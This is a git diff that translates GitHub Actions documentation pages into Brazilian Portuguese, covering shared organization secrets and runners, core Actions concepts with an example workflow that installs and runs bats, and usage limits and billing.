   - /actions/learn-github-actions/sharing-workflows-with-your-organization
 versions:
@@ -15,40 +15,40 @@ type: how_to
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
-If you need to share workflows and other {% data variables.product.prodname_actions %} features with your team, then consider collaborating within a {% data variables.product.prodname_dotcom %} organization. An organization allows you to centrally store and manage secrets, artifacts, and self-hosted runners. You can also create starter workflow in the `.github` repository and share them with other users in your organization.
+Se você precisar compartilhar fluxos de trabalho e outros recursos de {% data variables.product.prodname_actions %} com a sua equipe, considere colaborar dentro de uma organização de {% data variables.product.prodname_dotcom %}. Uma organização permite que você armazene e gerencie, centralizadamente, segredos, artefatos e executores auto-hospedados. Você também pode criar um fluxo de trabalho inicial no repositório `.github` e compartilhá-lo com outros usuários na sua organização.
 
-## Using starter workflows
+## Usando fluxos de trabalho iniciais
 
-{% data reusables.actions.workflow-organization-templates %} For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
+{% data reusables.actions.workflow-organization-templates %} Para obter mais informações, consulte "[Criando fluxos de trabalho iniciais para a sua organização](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)".
 
 {% data reusables.actions.reusable-workflows %}
 
-## Sharing secrets within an organization
+## Compartilhar segredos dentro de uma organização
 
-You can centrally manage your secrets within an organization, and then make them available to selected repositories. This also means that you can update a secret in one location, and have the change apply to all repository workflows that use the secret.
+Você pode gerenciar seus segredos centralmente dentro de uma organização e, em seguida, disponibilizá-los para repositórios selecionados. Isso também significa que você pode atualizar um segredo em um único local e fazer com que a alteração seja aplicada em todos os fluxos de trabalho do repositório que usam o segredo.
 
-When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+Ao criar um segredo em uma organização, você pode usar uma política para limitar quais repositórios podem acessar esse segredo. Por exemplo, você pode conceder acesso a todos os repositórios ou limitar o acesso a apenas repositórios privados ou a uma lista específica de repositórios.
 
 {% data reusables.github-actions.permissions-statement-secrets-organization %}
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the **Value** for your secret.
-1. From the **Repository access** dropdown list, choose an access policy.
-1. Click **Add secret**.
+1. Clique em **Novo segredo**.
+1. Digite um nome para o seu segredo na caixa de entrada **Nome**.
+1. Insira o **Valor** para o seu segredo.
+1. Na lista suspensa **Acesso do repositório**, escolha uma política de acesso.
+1. Clique em **Add secret** (Adicionar segredo).
 
-## Share self-hosted runners within an organization
+## Compartilhe executores auto-hospedados dentro de uma organização
 
-Organization admins can add their self-hosted runners to groups, and then create policies that control which repositories can access the group.
+Os administradores da organização podem adicionar seus executores auto-hospedados para grupos e, em seguida, criar políticas que controlam quais repositórios podem acessar o grupo.
 
-For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+Para obter mais informações, consulte "[Gerenciando acesso a runners auto-hospedados usando grupos](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)".
 
 
-## Next steps
+## Próximas etapas
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
+Para continuar aprendendo sobre {% data variables.product.prodname_actions %}, consulte "[Criando fluxos de trabalho iniciais para a sua organização](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)".
diff --git a/translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md b/translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md
index 6e69efdfbc..a3a51d0259 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Understanding GitHub Actions
-shortTitle: Understanding GitHub Actions
-intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.'
+title: Entendendo o GitHub Actions
+shortTitle: Entendendo o GitHub Actions
+intro: 'Aprenda o básico de {% data variables.product.prodname_actions %}, incluindo conceitos fundamentais e terminologia essencial.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions
   - /actions/automating-your-workflow-with-github-actions/core-concepts-for-github-actions
@@ -20,58 +20,58 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
-{% data reusables.actions.about-actions %}  You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production.
+{% data reusables.actions.about-actions %}  É possível criar fluxos de trabalho que criam e testam cada pull request no seu repositório, ou implantar pull requests mesclados em produção.
 
-{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository.
+{% data variables.product.prodname_actions %} vai além de apenas DevOps e permite que você execute fluxos de trabalho quando outros eventos ocorrerem no seu repositório. Por exemplo, você pode executar um fluxo de trabalho para adicionar automaticamente as etiquetas apropriadas sempre que alguém cria um novo problema no repositório.
 
-{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure.  
+{% data variables.product.prodname_dotcom %} fornece máquinas virtuais do Linux, Windows e macOS para executar seus fluxos de trabalho, ou você pode hospedar seus próprios executores auto-hospedados na sua própria infraestrutura de dados ou na nuvem.
 
-## The components of {% data variables.product.prodname_actions %}
+## Componentes de {% data variables.product.prodname_actions %}
 
-You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created.  Your workflow contains one or more _jobs_ which can run in sequential order or in parallel.  Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify your workflow.
+É possível configurar um {% data variables.product.prodname_actions %} _fluxo de trabalho_ para ser acionado quando um _evento_ ocorre no repositório como, por exemplo, um pull request sendo aberto ou um problema sendo criado.  O seu fluxo de trabalho contém um ou mais _trabalhos_ que podem ser executados em ordem sequencial ou em paralelo.  Cada trabalho será executado dentro do _executor_ da sua própria máquina virtual ou dentro de um contêiner, e conta com uma mais _etapas_ que executa um script que você define ou executa uma ação __, que é uma extensão reutilizável que pode simplificar o seu fluxo de trabalho.
 
-![Workflow overview](/assets/images/help/images/overview-actions-simple.png)
+![Visão geral do fluxo de trabalho](/assets/images/help/images/overview-actions-simple.png)
 
-### Workflows
+### Fluxos de trabalho
 
-A workflow is a configurable automated process that will run one or more jobs.  Workflows are defined by a YAML file checked in to your repository and will run when triggered by an event in your repository, or they can be triggered manually, or at a defined schedule.
+Um fluxo de trabalho é um processo automatizado configurável que executa um ou mais trabalhos.  Os fluxos de trabalho são definidos por um arquivo YAML verificado no seu repositório e será executado quando acionado por um evento no repositório, ou eles podem ser acionados manualmente ou de acordo com um cronograma definido.
 
-Your repository can have multiple workflows in a repository, each of which can perform a different set of steps.  For example, you can have one workflow to build and test pull requests, another workflow to deploy your application every time a release is created, and still another workflow that adds a label every time someone opens a new issue.
+O seu repositório pode ter vários fluxos de trabalho em um repositório, cada um dos quais pode executar um conjunto diferente de etapas.  Por exemplo, você pode ter um fluxo de trabalho para criar e testar pull requests, outro fluxo de trabalho para implantar seu aplicativo toda vez que uma versão for criada, e outro fluxo de trabalho que adiciona uma etiqueta toda vez que alguém abre um novo problema.
 
-{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %}
+{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}Você pode consultar um fluxo de trabalho dentro de outro fluxo de trabalho. Consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)"{% endif %}
 
-### Events
+### Eventos
 
-An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository.  You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually.
+Um evento é uma atividade específica em um repositório que aciona a execução de um fluxo de trabalho. Por exemplo, a atividade pode originar-se de {% data variables.product.prodname_dotcom %} quando alguém cria uma solicitação de pull request, abre um problema ou faz envio por push de um commit para um repositório.  Você também pode acionar a execução de um fluxo de trabalho em um cronograma, em [postando em uma API REST](/rest/reference/repos#create-a-repository-dispatch-event), ou manualmente.
 
-For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows).
+Para obter uma lista completa de eventos que podem ser usados para acionar fluxos de trabalho, consulte [Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows).
 
-### Jobs
+### Trabalhos
 
-A job is a set of _steps_ in a workflow that execute on the same runner.  Each step is either a shell script that will be executed, or an _action_ that will be run.  Steps are executed in order and are dependent on each other.  Since each step is executed on the same runner, you can share data from one step to another.  For example, you can have a step that builds your application followed by a step that tests the application that was built.
+Um trabalho é um conjunto de _etapas_ em um fluxo de trabalho que é executado no mesmo executor.  Cada etapa é um script do shell que será executado, ou uma _ação_ que será executada.  As etapas são executadas em ordem e dependem uma da outra.  Uma vez que cada etapa é executada no mesmo executor, você pode compartilhar dados de um passo para outro.  Por exemplo, você pode ter uma etapa que compila a sua aplicação seguida de uma etapa que testa ao aplicativo criado.
 
-You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other.  When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run.  For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs.  The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run.
+Você pode configurar as dependências de um trabalho com outros trabalhos; por padrão, os trabalhos não têm dependências e são executados em paralelo um com o outro.  Quando um trabalho leva uma dependência de outro trabalho, ele irá aguardar que o trabalho depeendente seja concluído antes que possa executar.  Por exemplo, você pode ter vários trabalhos de criação para diferentes arquiteturas que não têm dependências, e um trabalho de pacotes que depende desses trabalhos.  Os trabalhos de criação serão executados em paralelo e, quando todos forem concluídos com sucesso, o trabalho de empacotamento será executado.
 
-### Actions
+### Ações
 
-An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task.  Use an action to help reduce the amount of repetitive code that you write in your workflow files.  An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider.
+Uma _ação_ é uma aplicativo personalizado para a plataforma de {% data variables.product.prodname_actions %} que executa uma tarefa complexa, mas frequentemente repetida.  Use uma ação para ajudar a reduzir a quantidade de código repetitivo que você grava nos seus arquivos de fluxo de trabalho.  Uma ação pode extrair o seu repositório git de {% data variables.product.prodname_dotcom %}, configurar a cadeia de ferramentas correta para seu ambiente de criação ou configurar a autenticação para seu provedor de nuvem.
 
-You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}.
+Você pode gravar suas próprias ações, ou você pode encontrar ações para usar nos seus fluxos de trabalho em {% data variables.product.prodname_marketplace %}.
 
-### Runners
+### Executores
 
-{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% ifversion ghes or ghae %} You must host your own runners for {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners.{% endif %} For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
+{% data reusables.actions.about-runners %} Cada executor pode executar uma tarefa por vez. {% ifversion ghes or ghae %} Você deve hospedar seus próprios executores para {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} fornece executores para Ubuntu Linux, Microsoft Windows e macOS para executar seus fluxos de trabalho. Cada fluxo de trabalho é executado em uma nova máquina virtual provisionada. Se você precisar de um sistema operacional diferente ou precisar de uma configuração de hardware específica, você poderá hospedar seus próprios executores.{% endif %} Para mais informações{% ifversion fpt or ghec %} sobre executores auto-hospedados{% endif %}, consulte "[Hospedando os seus próprios executores](/actions/hosting-your-own-runners)"
 
-## Create an example workflow
+## Criar um exemplo de fluxo de trabalho
 
-{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow.  Each workflow is stored as a separate YAML file in your code repository, in a directory called `.github/workflows`.
+{% data variables.product.prodname_actions %} usa a sintaxe do YAML para definir o fluxo de trabalho.  Cada fluxo de trabalho é armazenado como um arquivo YAML separado no seu repositório de código, em um diretório denominado `.github/workflows`.
 
-You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the software dependencies, and runs `bats -v`.
+Você pode criar um exemplo de fluxo de trabalho no repositório que aciona automaticamente uma série de comandos sempre que o código for carregado. Neste fluxo de trabalho, {% data variables.product.prodname_actions %} verifica o código enviado, instala as dependências do software e executa `bats -v`.
 
-1. In your repository, create the `.github/workflows/` directory to store your workflow files.
-1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code.
+1. No seu repositório, crie o diretório `.github/workflows/` para armazenar seus arquivos do fluxo de trabalho.
+1. No diretório `.github/workflows/`, crie um novo arquivo denominado `learn-github-actions.yml` e adicione o código a seguir.
     ```yaml
     name: learn-github-actions
     on: [push]
@@ -86,13 +86,13 @@ You can create an example workflow in your repository that automatically trigger
           - run: npm install -g bats
           - run: bats -v
     ```
-1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository.
+1. Faça commit dessas alterações e faça push para o seu repositório do {% data variables.product.prodname_dotcom %}.
 
-Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. For details about a job's execution history, see "[Viewing the workflow's activity](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)."
+Seu novo arquivo de fluxo de trabalho de {% data variables.product.prodname_actions %} agora está instalado no seu repositório e será executado automaticamente toda vez que alguém fizer push de uma alteração no repositório. Para obter detalhes sobre o histórico de execução de um trabalho, consulte "[Visualizar a atividade do fluxo de trabalho](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)".
 
-## Understanding the workflow file
+## Entender o arquivo de fluxo de trabalho
 
-To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example:
+Para ajudar você a entender como a sintaxe de YAML é usada para criar um arquivo de fluxo de trabalho, esta seção explica cada linha do exemplo Introdução:
 
 <table>
 <tr>
@@ -103,7 +103,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s
   ```
 </td>
 <td>
-  <em>Optional</em> - The name of the workflow as it will appear in the Actions tab of the {% data variables.product.prodname_dotcom %} repository.
+  <em>Opcional</em> - Como o nome do fluxo de trabalho irá aparecer na aba Ações do repositório de {% data variables.product.prodname_dotcom %}.
 </td>
 </tr>
 <tr>
@@ -114,7 +114,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s
   ```
 </td>
 <td>
-Specifies the trigger for this workflow. This example uses the <code>push</code> event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request.  This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see <a href="https://docs.github.com/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths">"Workflow syntax for {% data variables.product.prodname_actions %}."</a>
+Especifica o gatilho para este fluxo de trabalho. Este exemplo usa o evento <code>push</code> para que a execução de um fluxo de trabalho seja acionada toda vez que alguém fizer push de uma alteração no repositório ou merge de um pull request.  Isso é acionado por um push para cada branch. Para obter exemplos de sintaxe executados apenas em pushes para branches, caminhos ou tags específicos, consulte <a href="https://docs.github.com/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths">"Sintaxe de fluxo de trabalho para {% data variables.product.prodname_actions %}.</a>
 </td>
 </tr>
 <tr>
@@ -125,7 +125,7 @@ Specifies the trigger for this workflow. This example uses the <code>push</code>
   ```
 </td>
 <td>
- Groups together all the jobs that run in the <code>learn-github-actions</code> workflow.
+ Agrupa todos os trabalhos executados no fluxo de trabalho <code>learn-github-actions</code>.
 </td>
 </tr>
 <tr>
@@ -136,7 +136,7 @@ Specifies the trigger for this workflow. This example uses the <code>push</code>
   ```
 </td>
 <td>
-Defines a job named <code>check-bats-version</code>. The child keys will define properties of the job.
+Define uma tarefa chamada <code>check-bats-version</code>. As chaves secundaárias definirão as propriedades do trabalho.
 </td>
 </tr>
 <tr>
@@ -147,7 +147,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-  Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see <a href="https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on">"Workflow syntax for {% data variables.product.prodname_actions %}."</a>
+  Configura o trabalho a ser executado na versão mais recente de um executor do Linux do Ubuntu. Isto significa que o trabalho será executado em uma nova máquina virtual hospedada pelo GitHub. Para obter exemplos de sintaxe usando outros executores, consulte <a href="https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on">"Sintaxe de fluxo de trabalho para {% data variables.product.prodname_actions %}."</a>
 </td>
 </tr>
 <tr>
@@ -158,7 +158,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-  Groups together all the steps that run in the <code>check-bats-version</code> job. Each item nested under this section is a separate action or shell script.
+  Agrupa todos os passos são executados no trabalho <code>check-bats-version</code>. Cada item aninhado nesta seção é uma ação separada ou script do shell.
 </td>
 </tr>
 <tr>
@@ -169,7 +169,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-The <code>uses</code> keyword specifies that this step will run <code>v2</code> of the <code>actions/checkout</code> action.  This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code.
+A palavra-chave <code>usa</code> especifica que esta etapa irá executar <code>v2</code> da ação <code>actions/checkout</code>.  Esta é uma ação que faz o check-out do seu repositório para o executor, permitindo que você execute scripts ou outras ações com base no seu código (como ferramentas de compilação e teste). Você deve usar a ação de checkout sempre que o fluxo de trabalho for executado no código do repositório.
 </td>
 </tr>
 <tr>
@@ -182,7 +182,7 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  This step uses the <code>actions/setup-node@v2</code> action to install the specified version of the Node.js (this example uses v14). This puts both the <code>node</code> and <code>npm</code> commands in your <code>PATH</code>.
+  Essa etapa usa a ação <code>actions/setup-node@v2</code> para instalar a versão especificada do Node.js (esse exemplo usa a v14). Isso coloca os dois comandos <code>nó</code> e <code>npm</code> no seu <code>PATH</code>.
 </td>
 </tr>
 <tr>
@@ -193,7 +193,7 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  The <code>run</code> keyword tells the job to execute a command on the runner. In this case, you are using <code>npm</code> to install the <code>bats</code> software testing package.
+  A palavra-chave <code>executar</code> diz ao trabalho para executar um comando no executor. Neste caso, você está usando o <code>npm</code> para instalar o pacote de teste do software <code>bats</code>.
 </td>
 </tr>
 <tr>
@@ -204,53 +204,46 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  Finally, you'll run the <code>bats</code> command with a parameter that outputs the software version.
+  Por fim, você executará o comando <code>bats</code> com um parâmetro que produz a versão do software.
 </td>
 </tr>
 </table>
 
-### Visualizing the workflow file
+### Visualizar o arquivo de fluxo de trabalho
 
-In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."
+Neste diagrama, você pode ver o arquivo de fluxo de trabalho que acabou de criar e como os componentes de {% data variables.product.prodname_actions %} estão organizados em uma hierarquia. Cada etapa executa uma única ação ou script do shell. As etapas 1 e 2 executam ações, enquanto as etapas 3 e 4 executam scripts de shell. Para encontrar mais ações pré-criadas para seus fluxos de trabalho, consulte "[Encontrar e personalizar ações](/actions/learn-github-actions/finding-and-customizing-actions)".
 
-![Workflow overview](/assets/images/help/images/overview-actions-event.png)
+![Visão geral do fluxo de trabalho](/assets/images/help/images/overview-actions-event.png)
 
-## Viewing the workflow's activity
+## Visualizando a atividade do fluxo de trabalho
 
-Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}.
+Assim que o seu fluxo de trabalhocomeçar a ser executado, você poderá {% ifversion fpt or ghes > 3.0 or ghae or ghec %}visualizar um gráfico de visualização do progresso da execução e {% endif %}visualizar a atividade de cada etapa em {% data variables.product.prodname_dotcom %}.
 
 {% data reusables.repositories.navigate-to-repo %}
-1. Under your repository name, click **Actions**.
-    ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png)
-1. In the left sidebar, click the workflow you want to see.
-    ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png)
-1. Under "Workflow runs", click the name of the run you want to see.
-    ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png)
+1. No nome do seu repositório, clique em **Ações**. ![Acesse o repositório](/assets/images/help/images/learn-github-actions-repository.png)
+1. Na barra lateral esquerda, clique no fluxo de trabalho que deseja ver. ![Captura de tela dos resultados do fluxo de trabalho](/assets/images/help/images/learn-github-actions-workflow.png)
+1. Em "Execuções do fluxo de trabalho", clique no nome da execução que você deseja ver. ![Captura de tela das execuções do fluxo de trabalho](/assets/images/help/images/learn-github-actions-run.png)
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-1. Under **Jobs** or in the visualization graph, click the job you want to see.
-   ![Select job](/assets/images/help/images/overview-actions-result-navigate.png)
+1. Em **Trabalhos** ou no gráfico de visualização, clique no trabalho que você deseja ver. ![Selecionar trabalho](/assets/images/help/images/overview-actions-result-navigate.png)
 {% endif %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-1. View the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png)
+1. Visualizar os resultados de cada etapa. ![Captura de tela dos detalhes de execução do fluxo de trabalho](/assets/images/help/images/overview-actions-result-updated-2.png)
 {% elsif ghes %}
-1. Click on the job name to see the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated.png)
+1. Clique no nome do trabalho para ver os resultados de cada etapa. ![Captura de tela dos detalhes de execução do fluxo de trabalho](/assets/images/help/images/overview-actions-result-updated.png)
 {% else %}
-1. Click on the job name to see the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result.png)
+1. Clique no nome do trabalho para ver os resultados de cada etapa. ![Captura de tela dos detalhes de execução do fluxo de trabalho](/assets/images/help/images/overview-actions-result.png)
 {% endif %}
 
-## Next steps
+## Próximas etapas
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."
+Para continuar aprendendo sobre {% data variables.product.prodname_actions %}, consulte "[Encontrar e personalizar ações](/actions/learn-github-actions/finding-and-customizing-actions)".
 
 {% ifversion fpt or ghec or ghes %}
 
-To understand how billing works for {% data variables.product.prodname_actions %}, see "[About billing for {% data variables.product.prodname_actions %}](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)".
+Para entender como a cobrança funciona para {% data variables.product.prodname_actions %}, consulte "[Sobre cobrança para {% data variables.product.prodname_actions %}](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)".
 
 {% endif %}
 
-## Contacting support
+## Entrar em contato com o suporte
 
 {% data reusables.github-actions.contacting-support %}
diff --git a/translations/pt-BR/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/translations/pt-BR/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
index 3b2a00be5c..b0216a1b13 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
@@ -1,6 +1,6 @@
 ---
-title: 'Usage limits, billing, and administration'
-intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.'
+title: 'Limites de uso, cobrança e administração'
+intro: 'Existem limites de uso para fluxos de trabalho de {% data variables.product.prodname_actions %}. As taxas de uso são aplicadas a repositórios que vão além da quantidade de minutos grátis e armazenamento de um repositório.'
 redirect_from:
   - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions
   - /actions/reference/usage-limits-billing-and-administration
@@ -10,92 +10,92 @@ versions:
   ghec: '*'
 topics:
   - Billing
-shortTitle: Workflow billing & limits
+shortTitle: Cobrança do fluxo de trabalho & limites
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About billing for {% data variables.product.prodname_actions %}
+## Sobre a cobrança do {% data variables.product.prodname_actions %}
 
 {% ifversion fpt or ghec %}
-{% data reusables.github-actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+{% data reusables.github-actions.actions-billing %} Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)".
 {% else %}
-GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %}s that use self-hosted runners.
+O uso do GitHub Actions é gratuito para {% data variables.product.prodname_ghe_server %} que usam executores auto-hospedados.
 {% endif %}
 
-## Availability
+## Disponibilidade
 
-{% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %}
+{% data variables.product.prodname_actions %} está disponível em todos os produtos de {% data variables.product.prodname_dotcom %}, mas {% data variables.product.prodname_actions %} não está disponível para repositórios privados pertencentes a contas usando planos legados por repositório. {% data reusables.gated-features.more-info %}
 
-## Usage limits
+## Limites de uso
 
 {% ifversion fpt or ghec %}
-There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change.
+Existem alguns limites sobre o uso de {% data variables.product.prodname_actions %} ao usar executores hospedados em {% data variables.product.prodname_dotcom %}. Estes limites estão sujeitos a mudanças.
 
 {% note %}
 
-**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+**Nota:** Para executores auto-hospedados, aplicam-se diferentes limites de uso. Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
 
 {% endnote %}
 
-- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete.
+- **Tempo de execução de tarefas ** - Cada trabalho em um fluxo de trabalho pode ser executado por até 6 horas de tempo de execução. Se um trabalho atingir esse limite, o trabalho será terminado e não será completado.
 {% data reusables.github-actions.usage-workflow-run-time %}
 {% data reusables.github-actions.usage-api-requests %}
-- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as indicated in the following table. If exceeded, any additional jobs are queued.
+- **Tarefas correntes** - O número de trabalhos simultâneos que você pode executar em sua conta depende do seu plano GitHub, conforme indicado na tabela a seguir. Se excedido, quaisquer tarefas adicionais serão colocadas na fila.
 
-  | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs |
-  |---|---|---|
-  | Free | 20 | 5 |
-  | Pro | 40 | 5 |
-  | Team | 60 | 5 |
-  | Enterprise | 180 | 50 |
-- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %}
+  | Plano GitHub | Total de tarefas simultâneas | Máximo de tarefas macOS simultâneas |
+  | ------------ | ---------------------------- | ----------------------------------- |
+  | Grátis       | 20                           | 5                                   |
+  | Pro          | 40                           | 5                                   |
+  | Equipe       | 60                           | 5                                   |
+  | Enterprise   | 180                          | 50                                  |
+- **Matriz de vagas** - {% data reusables.github-actions.usage-matrix-limits %}
 {% data reusables.github-actions.usage-workflow-queue-limits %}
 
 {% else %}
-Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+Os limites de uso aplicam-se a executores auto-hospedados. Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
 {% endif %}
 
 {% ifversion fpt or ghec %}
-## Usage policy
+## Política de uso
 
-In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage).
